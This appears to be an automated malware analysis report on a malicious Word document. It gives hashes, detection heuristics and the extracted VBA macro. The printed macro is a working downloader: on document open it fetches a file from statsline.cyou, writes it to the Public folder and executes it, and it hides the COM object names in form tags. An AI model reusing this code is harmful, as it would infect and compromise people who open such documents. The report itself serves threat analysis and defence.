Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 52c4a21cbcd218bb…

MALICIOUS

Office (OOXML)

204.8 KB Created: 2021-01-20 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-23
MD5: b8e29fa166ca6896dd7751e324780078 SHA-1: 5c43030df9c424fc80266b3c108853e5ed5e9b2c SHA-256: 52c4a21cbcd218bb14d0650c745344d7dd6cabf975ea10ed6cce98975d12fa4e
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.87f88707f007f878-OOXML-9981544-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.87f88707f007f878-OOXML-9981544-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          FuncRequest.Write ProcBorder.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set ProcBorder = CreateObject(RemoveCopy)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2096 bytes
SHA-256: e13aa5908303b67501e351adc3395d92ba4064ecf5650fd92df5f9b19c1ff46d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
  Application.Run "Fororo"
End Sub

Sub Fororo()
UserForm1.CommandButton2_Click
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{CD9653E0-1D4D-4388-ADC7-0B0326A5C977}{3392A4A9-DA9B-430C-8BBF-1227A916E5B2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public TmpWindow
Public RightButtonPaste

Private Sub CommandButton1_Click()
 UserForm1.TmpWindow = "C:\users\Public\256.png"
 UserForm1.RightButtonPaste = "http"
 MainClassRepo = 1
 
 Dim ProcBorder As Object
 Dim FuncRequest As Object
 

 For Each RemoveCopy In ListBox1.List
    If MainClassRepo = 1 Then
      Set ProcBorder = CreateObject(RemoveCopy)
      ProcBorder.Open "GET", UserForm1.RightButtonPaste + ListBox1.List(3), False
      ProcBorder.Send
    End If
    
    If MainClassRepo = 2 Then
      Set FuncRequest = CreateObject(RemoveCopy)
      FuncRequest.Open
      FuncRequest.Type = 1
      FuncRequest.Write ProcBorder.ResponseBody
      FuncRequest.SaveToFile UserForm1.TmpWindow, 2
    End If
    
    If MainClassRepo = 3 Then
      Shell@ (RemoveCopy + "32 " & UserForm1.TmpWindow)
    End If
    
    MainClassRepo = MainClassRepo + 1
 Next
End Sub

Public Sub CommandButton2_Click()
  
    ListBox1.AddItem (TextBox1.Tag)
    ListBox1.AddItem (CommandButton4.Tag)
    CommandButton3_Click
    CommandButton1_Click

End Sub

Public Sub CommandButton3_Click()
    ListBox1.AddItem (Image1.Tag)
    CommandButton4_Click
End Sub

Public Sub CommandButton4_Click()
ListBox1.AddItem ("://statsline.cyou/f0t0s.jpg")
End Sub




Private Sub TextBox1_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: 0beb76fe792e82cfeb0df4f545f8c87a4e1cb1a0a5cdc05c9de0b34fbdddbd5e